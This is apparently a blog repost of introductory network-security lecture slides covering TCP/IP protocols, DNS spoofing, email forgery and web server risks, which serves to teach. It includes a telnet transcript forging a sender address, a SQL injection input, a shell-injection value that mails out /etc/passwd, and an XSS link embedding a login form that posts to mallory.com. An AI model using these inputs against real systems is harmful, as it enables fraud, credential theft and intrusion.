Arian's Great: Introduction to Security (resume 12)

Outline

TCP/IP networking overview
protocols and known vulnerabilities

– ARP / ARP spoofing

– IP / eavesdropping, alteration, traffic analysis, etc.

– TCP / SYN attack

– Telnet, FTP / password sniffing

– SMTP / e-mail forgery, eavesdropping, alteration

– DNS / DNS spoofing

more known security problems

– Web forms, cookies, and CGI scripts

– mobile code (Java scripts, Java applets, and ActiveX controls)

– denial of service (DoS)

– exploiting bugs in software (buffer overflow problems)

outline of the course

Names and addresses

• class A: “0” + 7 bits net ID + 24 bits host ID

• class B: “10” + 14 bits net ID + 16 bits host ID

• class C: “110” + 21 bits net ID + 8 bits host ID

• class D: “1110” + 28 bits multicast group ID

• class E: starts with “11110”, reserved for future use

• hierarchical addressing

Names and addresses

§ hardware address (MAC addresses)

– every interface has a unique and fixed hardware address too

– it is used by the data link layer

– in case of Ethernet, it is 48 bits long

– mapping between IP addresses and MAC addresses are done by ARP

§ host names

– human readable, hierarchical names, such as www.hit.bme.hu

– every host may have several names

– mapping between names and IP addresses is done by the Domain Name System (DNS)

IP – Internet Protocol

§ provides an unreliable, connectionless datagram delivery service to the upper layers

§ its main function is routing

§ it is implemented in both end systems and intermediate systems (routers)

§ routers maintain routing tables that define the next hop router towards a given destination (host or network)

§ IP routing uses the routing table and the information in the IP header (e.g., the destination IP address) to route a packet

IP security problems

§ user data in IP packets is not protected in any way

– anyone who has access to a router can read and modify the user data in the packets

§ IP packets are not authenticated

– it is fairly easy to generate an IP packet with an arbitrary source IP address

§ traffic analysis

– even if user data was encrypted, one could easily determine who is communicating with whom by just observing the addressing information in the IP headers

§ information exchanged between routers to maintain their routing tables is not authenticated

– correct routing table updates can be modified or fake ones can be disseminated

– this may screw up routing completely leading to loops or partitions

– it may also facilitate eavesdropping, modification, and monitoring of traffic

– it may cause congestion of links or routers (i.e., denial of service)

TCP – Transmission Control Protocol

§ provides a connection oriented, reliable, byte stream service to the upper layers

§ connection oriented:

– connection establishment phase prior to data transfer

– state information (sequence numbers, window size, etc.) is maintained at both ends

§ reliable:

– positive acknowledgement scheme (unacknowledged bytes are retransmitted after a timeout)

– checksum on both header and data

– reordering of segments that are out of order

– detection of duplicate segments

– flow control (sliding window mechanism)

– sequence numbers are 32 bits long

– the sequence number in a data segment identifies the first byte in the segment

– sequence numbers are initialized with a “random” value during connection setup

– the RFC suggests that the ISN is incremented by one at least every 4 ms

TCP SYN attack

in Berkeley implementations, the ISN is incremented by a constant amount (64000)

– once per 0.5 second, and

– each time a connection is initiated

it is not hopeless to guess the next ISN to be used by a server
an attacker can impersonate a trusted host (e.g., in case of r commands, authentication is based on source IP address solely)

TCP SYN attack – How to guess ISN_S?

– ISN_S’ depends on ISN_S and Dt

– Dt can be estimated from the round trip time

– assume Dt can be estimated with 10 ms precision

– the attacker has an uncertainty of 1280 in the possible value for ISN_S’

– assume each trial takes 5 s

– the attacker has a reasonable likelihood of succeeding in 6400 s and a near-certainty within one day

FTP cont’d

typical FTP commands:

– RETR filename – retrieve (get) a file from the server

– STOR filename – store (put) a file on the server

– TYPE type – specify file type (e.g., A for ASCII)

– USER username – username on server

– PASS password – password on server

FTP is a text (ASCII) based protocol

Telnet

provides remote login service to users
works between hosts that use different operating systems
uses option negotiation between client and server to determine what features are supported by both ends

SMTP security problems

SMTP does not provide any protection of e-mail messages

– messages can be read and modified by any of the MTAs involved

– fake messages can easily be generated (e-mail forgery)

Example:

% telnet frogstar.hit.bme.hu 25

Trying...

Connected to frogstar.hit.bme.hu.

Escape character is ‘^[’.

220 frogstar.hit.bme.hu ESMTP Sendmail 8.11.6/8.11.6;

Mon, 10 Feb 2003 14:23:21 +0100

helo abcd.bme.hu

250 frogstar.hit.bme.hu Hello [152.66.249.32], pleased to meet you

mail from: bill.gates@microsoft.com

250 2.1.0 bill.gates@microsoft.com... Sender ok

rcpt to: buttyan@ebizlab.hit.bme.hu

250 2.1.5 buttyan@ebizlab.hit.bme.hu... Recipient ok

data

354 Enter mail, end with "." on a line by itself

Your fake message goes here.

250 2.0.0 h1ADO5e21330 Message accepted for delivery

quit

221 frogstar.hit.bme.hu closing connection

Connection closed by foreign host.

Be careful, though!

Return-Path: <bill.gates@microsoft.com>

Received: from frogstar.hit.bme.hu (root@frogstar.hit.bme.hu [152.66.248.44])

by shamir.ebizlab.hit.bme.hu (8.12.7/8.12.7/Debian-2)

with ESMTP id h1ADSsxG022719

for <buttyan@ebizlab.hit.bme.hu>; Mon, 10 Feb 2003 14:28:54 +0100

Received: from abcd.bme.hu ([152.66.249.32])

by frogstar.hit.bme.hu (8.11.6/8.11.6) with SMTP id h1ADO5e21330

for buttyan@ebizlab.hit.bme.hu; Mon, 10 Feb 2003 14:25:41 +0100

Date: Mon, 10 Feb 2003 14:25:41 +0100

From: bill.gates@microsoft.com

Message-Id: <200302101325.h1ADO5e21330@frogstar.hit.bme.hu>

To: undisclosed-recipients:;

X-Virus-Scanned: by amavis-dc

Status:

Your fake message goes here.

DNS – Domain Name System

§ The DNS is a distributed database that provides mapping between hostnames and IP addresses

§ the DNS name space is hierarchical

– top level domains: com, edu, gov, int, mil, net, org, ae, …, hu, … zw

– top level domains may contain second level domains

e.g., bme within hu, epfl within ch, …

– second level domains may contain third level domains, etc.

§ each domain has name servers

– usually (not always) a name server knows the IP address of the top level name servers

– if a domain contains sub-domains, then the name server knows the IP address of the sub-domain name servers

– when a new host is added to a domain, the administrator adds the (hostname, IP address) mapping to the database of the local name server

DNS spoofing

the cache of a DNS name server is poisoned with false information
how to do it?

– assume that the attacker wants www.anything.hu to map to his own IP address 152.66.249.32

– approach 1:

• attacker submits a DNS query “www.anything.hu=?” to ns.victim.hu

• a bit later it forges a DNS reply “www.anything.hu=152.66.249.32”

• UDP makes forging easier but the attacker must still predict the query ID

– approach 2 (attacker has access to ns.attacker.hu):

• the attacker modifies its local name server such that it responds a query “www.attacker.hu=?” with “www.anything.hu=152.66.249.32”

• the attacker then submits a query “www.attacker.hu=?” to ns.victim.hu

• ns.victim.hu sends the query “www.attacker.hu=?” to ns.attacker.hu

• ns.attacker.hu responds with “www.anything.hu=152.66.249.32”

Web security – Browser side risks

obtaining a valid browser

– IE usually comes with the OS

– Netscape can be obtained from web sites

– How can you be sure that you are downloading a genuine copy? (remember DNS spoofing)

– a fake browser can look like a genuine one, but it can

• obtain and send passwords typed in by the user

• downgrade browser security (e.g., reduce key length used in SSL)

• …

web forms

– used to send data from the user to the server (e.g., online applications, queries to a database, etc.)

– if pure HTTP is used, then the data is sent in clear

– sensitive information can be eavesdropped and/or modified

Browser side risks cont’d

helper applications

– the browser cannot handle all kind of downloaded data

– it invokes an external program (the helper) on the user’s machine with the downloaded data as parameter

– e.g., to display a PostScript file, it may pass it to GhostView

– downloaded content can be dangerous (e.g., MS Word and Excel files may contain macro viruses)

mobile code

– Java applets

• normally run within a controlled environment (sandbox)

• access to local resources is strictly controlled by a security manager

• however, an applet may escape from the sandbox due to some bugs in the implementation of the Java Virtual Machine

• several such bugs have been discovered, reported, and fixed

• what guarantees that there’s no more?

mobile code (cont’d)

– ActiveX controls

• a Microsoft approach to mobile code

• ActiveX controls are executables that run directly on the machine (there’s no sandbox)

• ActiveX controls can be signed and declared safe by their creators

• but an ActiveX control declared safe may turn out to be dangerous

§ Compaq signed a control safe which allowed for remote management of servers

§ Microsoft signed a control which could write arbitrary file on the hard disk (it was exploited by a virus Kak.Worm)

– JavaScript != Java applet

• scripts are interpreted by the browser itself

• not as powerful as Java (e.g., many attacks require that the user clicks on a button to activate the malicious code)

• successful attacks reported include history tracking, stealing files, helping Java applets to bypass firewalls, etc.]

cookies

– a cookie is a (name, value) pair

– cookies are set by web servers and stored by web browsers

– a cookie set by a server is sent back to the server when the browser visits the server again

– used to create “HTTP sessions” (session state information is stored in cookies)

– example:

cookies (cont’d)

– if cookies are sent in clear, then they can be eavesdropped and used to hijack an “HTTP session”

– cookies can be used to track what sites the user visits (can lead to serious privacy violation!)

• many sites use third party advertisements

• the third party can set a cookie that identifies the user

• this cookie is sent to the third party each time an ad is downloaded by the user’s browser along with the address of the page that contains the link to the ad (the “referrer” field of the HTTP header contains this address)

http://www.musicvision.com/network_privacy_policy.html

Third Party Advertising

We use Maxworldwide and other third-party advertising companies to serve ads

when you visit our Web site. These companies may use information (not including

your name, address, email address or telephone number) about your visits to this

and other Web sites in order to provide advertisements on this site and other sites

about goods and services that may be of interest to you. If you would like more

information about this practice and to know your choices about not having this

information used by these companies, please click here

Third Party Cookies

In the course of serving advertisements to this site, our third-party advertiser may

place or recognize a unique "cookie" on your browser.

Web security – Server side risks

§ interactive web sites are based on forms and scripts

– forms are written in html

– the user fills the form and clicks on a button to submit it

– this creates a request to the server that contains the data typed in by the user

– the request launches a script on the server that processes the data supplied by the user (may return a page that is created using the supplied data)

§ unexpected user input may have unexpected effects

– special characters

– too much data (may cause buffer overflow)

§ at best, the server crashes

§ at worst, the attacker gains control over the server

Server side risks cont’d

§ an example: password based user authentication

– assume the following server side script is used to check the supplied username and password:

query$ = ‘SELECT name, pass FROM database WHERE name = “ ’ + name$ + ‘ ” AND

pass = “ ’ + pass$ + ‘ ” ’

Result = SQLquery(query$)

if Result <> 0 then OK

– with name$ = buttyan and pass$ = kiskacsa

SELECT name, pass FROM database WHERE name = “buttyan” AND pass = “kiskacsa”

– with name$ = buttyan” OR TRUE OR name = “ and pass$ = kiskacsa

SELECT name, pass FROM database WHERE name = “buttyan” OR TRUE OR name = “”

AND pass = “kiskacsa”

§ another example: the user can type her e-mail address in a form and the server sends her the latest public company report

– assume the following perl script is used on the server

system(“sendmail $address < report.doc”);

– with $address = buttyan@hit.bme.hu

system(“sendmail buttyan@hit.bme.hu < report.doc”);

– with $address = buttyan@hit.bme.hu < /etc/passwd | sendmail buttyan@hit.bme.hu

system(“sendmail buttyan@hit.bme.hu < /etc/passwd | sendmail

buttyan@hit.bme.hu < report.doc”);

§ Buffer overflow attacks

– if the program doesn’t verify that the supplied data fits in the allocated space, then it may overwrite some parts of the memory, which may contain data, instructions, or addresses

– by carefully analyzing the program structure one can provide machine code as part of the supplied data that will be executed by the server

– many attacks use buffer overflow bugs (e.g., infamous Internet Worm by Morris used a buffer overflow bug in the sendmail program)

§ Format string attack

– printf(“%s”, str); -- correct.

– printf(str); -- will compile, but dangerous!

• str will be interpreted as a format string

Cross site scripting

§ the attacker arranges that the victim receives a malicious script from a trusted server

§ example:

– Mallory places the script in the “guest book” of Bob

– Alice visits the “guest book” of Bob

– her browser downloads and runs Mallory’s script

CSS cont’d

another example

– when requesting a non-existent file abcd.html from some web servers, they return error messages like:

“The requested file abcd.html cannot be found on the server.”

– Mallory can place the following link on a page:

< a href=“http://trusted.server.com/is protected. The server needs you to login. <form action="http://mallory.com/cgiscript.cgi" method="post">Username: <input type="text" name="name"> Password: <input type="password" name="pass"> <input type="submit" value="Login"></form> ”>

– what will happen?

• Alice clicks on the link

• HTTP request is sent to trusted.server.com

• the server returns the usual error page, but it will look like a login window...

Course outline

brief introduction to cryptography
e-mail security: PGP, S/MIME
secure remote access: SSH
the Secure Socket Layer (SSL)
network layer security: IPSec (AH, ESP, IKE)
link layer security: L2TP
e-commerce security: SET, e-cash, micropayments
privacy protection: Onion routing, Crowds
Java security
DNS security
firewalls and intrusion detection systems
Wi-Fi security (IEEE 802.11 wireless LAN)
peer-to-peer security

Arian's Great

Kamis, 16 Juni 2011

Introduction to Security (resume 12)

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